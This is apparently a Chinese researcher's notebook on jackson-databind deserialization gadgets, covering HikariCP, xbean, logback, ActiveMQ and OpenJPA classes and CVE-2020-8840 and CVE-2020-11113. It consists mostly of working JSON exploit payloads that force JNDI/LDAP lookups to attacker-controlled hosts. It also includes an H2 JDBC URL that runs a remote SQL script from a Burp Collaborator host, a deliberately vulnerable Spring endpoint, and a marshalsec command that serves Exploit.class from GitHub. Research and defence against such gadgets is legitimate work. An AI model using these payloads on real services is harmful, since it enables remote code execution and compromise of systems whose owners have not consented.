参考:
- http://www.lmxspace.com/2019/07/30/Jackson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B1%87%E6%80%BB/
- https://www.mi1k7ea.com/2019/11/24/Jackson%E7%B3%BB%E5%88%97%E4%B8%83%E2%80%94%E2%80%94%E5%85%B6%E4%BB%96Gadgets/
- https://www.anquanke.com/post/id/201947
- http://poochi.cn/2020/02/23/FasterXML:jackson-databind%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%EF%BC%88CVE-2020-8840%EF%BC%89/
1. com.zaxxer.hikari.HikariConfig
pom依赖
<!-- https://mvnrepository.com/artifact/hikari-cp/hikari-cp -->
<dependency>
<groupId>com.zaxxer</groupId>
<artifactId>HikariCP</artifactId>
<version>3.4.1</version>
</dependency>
PoC
{"obj":{"@class":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://58bixaamue6gcnjpvrsru795gwmnac.burpcollaborator.net:1389/obj"}}
调用链
HikariCP-3.4.1.jar!\com\zaxxer\hikari\HikariConfig
setMetricRegistry(Object metricRegistry)
=> getObjectOrPerformJndiLookup(Object object)
=> initCtx.lookup((String)object)
通过查看代码,其实也可以用healthCheckRegistry:
{"obj":{"@class":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://127.0.0.1:1389/obj"}}
2. org.apache.xbean.propertyeditor.JndiConverter
PoC
{"obj":{"@class":"org.apache.xbean.propertyeditor.JndiConverter","asText":"ldap://localhost:1389/Exploit"}}
CVE-2020-8840
影响范围:jackson-databind 2.0.0 ~ 2.9.10.2
参考:https://github.com/fairyming/CVE-2020-8840
调用分析:
乍一看,没有直接的setter方法:
于是从其父类看看,
调用setAsText(String text)
=> toObject(String text)
=> toObjectImpl(String text)
利用父类的调用关系,调用父类的方法。
基于getter方法的jackson反序列化漏洞利用
参考:https://srcincite.io/blog/2019/08/07/attacking-unmarshallers-jndi-injection-using-getter-based-deserialization.html
触发getter方法,不止需要
ObjectMapper#readValue
还需要
ObjectMapper#writeValueAsString
代码如下:
@RequestMapping(value = "/deserialize4", method = {RequestMethod.POST})
@ResponseBody
public static String deserialize4(@RequestBody String params) throws IOException {
System.out.println(params);
try {
ObjectMapper objectMapper = new ObjectMapper();
// objectMapper.enableDefaultTyping();
Object obj = objectMapper.readValue(params, AnotherBean.class);
String result = objectMapper.writeValueAsString(obj);
return result;
} catch (Exception e){
e.printStackTrace();
return e.toString();
}
}
3. ch.qos.logback.core.db.JNDIConnectionSource
PoC:
{"obj":{"@class":"ch.qos.logback.core.db.JNDIConnectionSource","jndiLocation":"ldap://localhost:1389/Exploit"}}
4. ch.qos.logback.core.db.DriverManagerConnectionSource
PoC
{"obj":{"@class":"ch.qos.logback.core.db.DriverManagerConnectionSource","url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://tyv6ny0ak2w42b9dlfifkvzt6kcd02.burpcollaborator.net/shadowsock5/notes/master/inject_win.sql'"}}
未成功。
参考:https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
后来才知道这个需要getter方法才能触发的,需要后端代码不仅有将json反序列化为Object的过程/代码,还得有将Object序列化为json的过程,即调用:
objectMapper.writeValueAsString(obj);
5. org.apache.activemq.jms.pool.XaPooledConnectionFactory
首先tmJndiName
肯定要被设置为我们可控的jndi,然后这个类里能触发lookup的地方只有getTransactionManager,而这个方法里调用lookup的方法需要经过判断this.tmFromJndi
为true,所以还要设置setTmFromJndi(true)。
所以完整PoC为:
{"obj":{"@class":"org.apache.activemq.jms.pool.XaPooledConnectionFactory","tmJndiName":"ldap://localhost:1389/Exploit","tmFromJndi":true}}
6. org.apache.openjpa.ee.WASRegistryManagedRuntime
CVE-2020-11113
参考:https://github.com/FasterXML/jackson-databind/issues/2670
maven配置:
<!-- https://mvnrepository.com/artifact/org.apache.openjpa/openjpa -->
<dependency>
<groupId>org.apache.openjpa</groupId>
<artifactId>openjpa</artifactId>
<version>3.1.1</version>
</dependency>
没有直接的setter和getter方法可以触发,
但是其父类RegistryManagedRuntime
:
传入一个registryName
参数即可,PoC:
{"obj":{"@class":"org.apache.openjpa.ee.WASRegistryManagedRuntime","registryName":"ldap://localhost:1389/Exploit"}}
杂
可以把http服务放到github上:
https://raw.githubusercontent.com/shadowsock5/notes/master/Exploit.class
不用每次都启动一个HTTP服务,然后marshelsec使用这样的url就行:
java -cp D:\repos\marshalsec\target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer https://raw.githubusercontent.com/shadowsock5/notes/master/#Exploit